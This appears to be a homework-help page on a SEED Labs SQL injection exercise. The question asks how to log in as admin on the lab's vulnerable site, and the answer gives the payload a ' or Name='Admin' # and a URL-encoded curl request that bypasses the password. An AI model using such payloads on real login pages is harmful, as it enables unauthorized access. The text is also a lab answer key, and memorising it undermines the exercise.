Question

Please explain how you got the answer thank you.

• Task 2.1: SQL Injection Attack from webpage. Your task is to log into the web application as the administrator from the login page, so you can see the information of all the employees. We assume that you do know the administrator’s account name which is admin, but you do not know the ID or the password. You need to decide what to type in the Employee ID and Password fields to succeed in the attack.

• Task 2.2: SQL Injection Attack from command line. Your task is to repeat Task 2.1, but you need to do it without using the webpage. You can use command line tools, such as curl, which can send HTTP requests. One thing that is worth mentioning is that if you want to include multiple parameters in HTTP requests, you need to put the URL and the parameters between a pair of single quotes; otherwise, the special characters used to separate parameters (such as &) will be interpreted by the shell program, changing the meaning of the command. The following example shows how to send an HTTP GET request to our web application, with two parameters (SUID and Password) attached: curl ’www.SeedLabSQLInjection.com/index.php?SUID=10000&Password=111’ If you need to include special characters in the SUID and Password fields, you need to encode them properly, or they can change the meaning of your requests. If you want to include single quote in those fields, you should use %27 instead; if you want to include white space, you should use %20. In this task, you do need to handle HTTP encoding while sending requests using curl.

Answer 1

Answer 2.1
**************

a ' or Name='Admin' #

if you see the URL

http://www.seedlabsqlinjection.com/unsafe_home.php?username=a+%27+or+Name%3D%27Admin%27+%23&Password=

where unsafe_home.php is the vulnerable page that we have to target for next task 2.2

Answer 2.2
*************

Now just past that URL with curl command as shown below

curl 'http://www.seedlabsqlinjection.com/unsafe_home.php?username=a+%27+or+Name%3D%27Admin%27+%23&Password=aass'

if you have any doubt then please ask me without any hesitation in the comment section below , if you like my answer then please thumbs up for the answer , before giving thumbs down please discuss the question it may possible that we may understand the question different way and i can edit and change the answers if you argue, thanks :)